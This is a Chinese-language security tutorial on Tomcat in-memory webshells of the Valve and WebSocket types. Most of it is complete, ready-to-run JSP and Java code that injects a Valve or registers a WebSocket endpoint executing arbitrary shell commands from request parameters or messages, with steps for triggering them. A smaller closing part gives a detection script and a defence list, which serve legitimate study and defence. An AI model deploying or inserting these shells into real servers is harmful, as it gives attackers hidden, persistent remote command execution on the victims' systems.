Tomcat内存马之Valve和WebSocket型
字数 1383 2025-08-11 00:08:50
Tomcat内存马之Valve和WebSocket型深入解析
前言
本文详细讲解Tomcat中Valve和WebSocket型内存马的实现原理、利用方式和防御措施。这两种内存马与常见的listener、filter、servlet型内存马有所不同,特别是在WebSocket内存马中,由于使用的协议和方法不同,往往容易被忽略。
环境准备
在开始前需要引入Tomcat依赖:
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.70</version>
</dependency>
Valve型内存马
Valve基础概念
Tomcat中存在一种管道机制(Pipeline),它基于Java Servlet规范实现。Pipeline由一系列Valve(阀门)组成,每个Valve都是一个Java类,用于处理HTTP请求的不同阶段。
- Pipeline:处理管道,类似Filter中的Chain链
- Valve:控制管道流通状态,可在处理请求前后执行自定义逻辑
Tomcat中的Container(Engine、Host、Context、Wrapper)都有对应的Valve类:
- StandardEngineValve
- StandardHostValve
- StandardContextValve
- StandardWrapperValve
Valve内存马实现原理
-
关键调用链:
CoyoteAdapter#service -> connector.getService().getContainer().getPipeline().getFirst().invoke(request, response) -
实现思路:
- 编写恶意Valve类,实现Valve接口,重写invoke方法包含恶意代码
- 获取StandardContext对象
- 通过StandardContext.getPipeline获取StandardPipeline
- 使用StandardPipeline.addValve添加恶意Valve
Valve内存马实现代码
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Pipeline" %>
<%@ page import="java.io.*" %>
<%@ page import="org.apache.catalina.Valve" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
public class Valve_Shell implements Valve {
@Override
public Valve getNext() { return null; }
@Override
public void setNext(Valve valve) { }
@Override
public void backgroundProcess() { }
@Override
public boolean isAsyncSupported() { return false; }
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
PrintWriter writer = response.getWriter();
if (cmd != null) {
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
InputStreamReader inputStreamReader = new InputStreamReader(inputStream);
BufferedReader bufferedReader = new BufferedReader(inputStreamReader);
StringBuilder stringBuilder = new StringBuilder();
String str = null;
while ((str = bufferedReader.readLine()) != null) {
stringBuilder.append(str + "\n");
}
writer.println(stringBuilder.toString());
}
}
}
%>
<%
Field declaredField = request.getClass().getDeclaredField("request");
declaredField.setAccessible(true);
Request req = (Request) declaredField.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
Pipeline pipeline = standardContext.getPipeline();
Valve_Shell valveShell = new Valve_Shell();
pipeline.addValve(valveShell);
%>
利用方式
- 访问上述JSP页面注册恶意Valve
- 通过携带cmd参数执行任意命令
WebSocket型内存马
WebSocket基础
WebSocket是一种全双工通信协议,允许客户端和服务端双向实时通信。Tomcat支持两种实现方式:
- 使用
@ServerEndpoint注解 - 继承抽象类
Endpoint
@ServerEndpoint注解实现
package com.example.memshell.ws;
import javax.websocket.*;
import javax.websocket.server.ServerEndpoint;
import java.io.InputStream;
@ServerEndpoint("/lemono")
public class Ws_Shell {
private Session session;
@OnOpen
public void OnOpen(Session session) {
this.session = session;
this.session.getAsyncRemote().sendText("open session");
}
@OnMessage
public void OnMessage(String message) {
try {
Process process;
boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows");
if (bool) {
process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", message});
} else {
process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", message});
}
InputStream inputStream = process.getInputStream();
StringBuilder stringBuilder = new StringBuilder();
int i;
while ((i = inputStream.read()) != -1) {
stringBuilder.append((char)i);
}
inputStream.close();
process.waitFor();
session.getAsyncRemote().sendText(stringBuilder.toString());
} catch (Exception exception) {
exception.printStackTrace();
}
}
@OnClose
public void OnClose() {
System.out.println("OnClose connect");
}
}
继承Endpoint抽象类实现
<%@ page import="javax.websocket.server.ServerEndpointConfig" %>
<%@ page import="javax.websocket.server.ServerContainer" %>
<%@ page import="javax.websocket.*" %>
<%@ page import="java.io.*" %>
<%!
public static class C extends Endpoint implements MessageHandler.Whole<String> {
private Session session;
@Override
public void onMessage(String s) {
try {
Process process;
boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows");
if (bool) {
process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", s});
} else {
process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", s});
}
InputStream inputStream = process.getInputStream();
StringBuilder stringBuilder = new StringBuilder();
int i;
while ((i = inputStream.read()) != -1) {
stringBuilder.append((char)i);
}
inputStream.close();
process.waitFor();
session.getBasicRemote().sendText(stringBuilder.toString());
} catch (Exception exception) {
exception.printStackTrace();
}
}
@Override
public void onOpen(final Session session, EndpointConfig config) {
this.session = session;
session.addMessageHandler(this);
}
}
%>
<%
String path = request.getParameter("path");
ServletContext servletContext = request.getSession().getServletContext();
ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(C.class, path).build();
ServerContainer container = (ServerContainer) servletContext.getAttribute(ServerContainer.class.getName());
container.addEndpoint(configEndpoint);
servletContext.setAttribute(ServerContainer.class.getName(),container);
out.println("success, connect url path: " + servletContext.getContextPath() + path);
%>
WebSocket注册流程
- Tomcat启动时通过WsSci配置WebSocket相关信息
- 关键类和方法:
WsServerContainer:WebSocket容器ServerEndpointConfig:配置Endpoint信息addEndpoint方法:注册WebSocket端点
利用方式
- 访问JSP页面注册恶意WebSocket端点
- 使用WebSocket客户端工具(如wscat)连接注册的端点
- 通过发送消息执行命令并获取回显
WebSocket内存马查杀
传统内存马查杀工具难以检测WebSocket内存马,可通过以下方式检测:
<%@ page import="org.apache.tomcat.websocket.server.WsServerContainer" %>
<%@ page import="javax.websocket.server.ServerContainer" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.util.Set" %>
<%@ page import="java.util.Iterator" %>
<%@ page import="javax.websocket.server.ServerEndpointConfig" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
// 通过request的context获取ServerContainer
WsServerContainer wsServerContainer = (WsServerContainer) request.getServletContext().getAttribute(ServerContainer.class.getName());
// 利用反射获取WsServerContainer类中的私有变量configExactMatchMap
Class<?> obj = Class.forName("org.apache.tomcat.websocket.server.WsServerContainer");
Field field = obj.getDeclaredField("configExactMatchMap");
field.setAccessible(true);
Map<String, Object> configExactMatchMap = (Map<String, Object>) field.get(wsServerContainer);
// 遍历configExactMatchMap,打印所有注册的websocket服务
Set<String> keyset = configExactMatchMap.keySet();
Iterator<String> iterator = keyset.iterator();
while (iterator.hasNext()) {
String key = iterator.next();
Object object = wsServerContainer.findMapping(key);
Class<?> wsMappingResultObj = Class.forName("org.apache.tomcat.websocket.server.WsMappingResult");
Field configField = wsMappingResultObj.getDeclaredField("config");
configField.setAccessible(true);
ServerEndpointConfig config1 = (ServerEndpointConfig) configField.get(object);
Class<?> clazz = config1.getEndpointClass();
out.println(String.format("websocket name:%s, websocket class: %s", key, clazz.getName()));
}
// 如果参数带name,删除该服务
if(request.getParameter("name") != null) {
configExactMatchMap.remove(request.getParameter("name"));
out.println(String.format("delete ws service: %s", request.getParameter("name")));
}
%>
防御措施
- 定期检查Tomcat中注册的Valve和WebSocket端点
- 限制动态注册WebSocket端点的能力
- 使用安全产品监控异常的内存马行为
- 及时更新Tomcat到最新版本
- 对Web应用进行代码审计,防止恶意代码注入
总结
Valve和WebSocket内存马是Tomcat中较为隐蔽的攻击方式,特别是WebSocket内存马由于协议特殊,传统检测手段难以发现。安全人员需要了解其实现原理,才能有效防御和检测这类内存马攻击。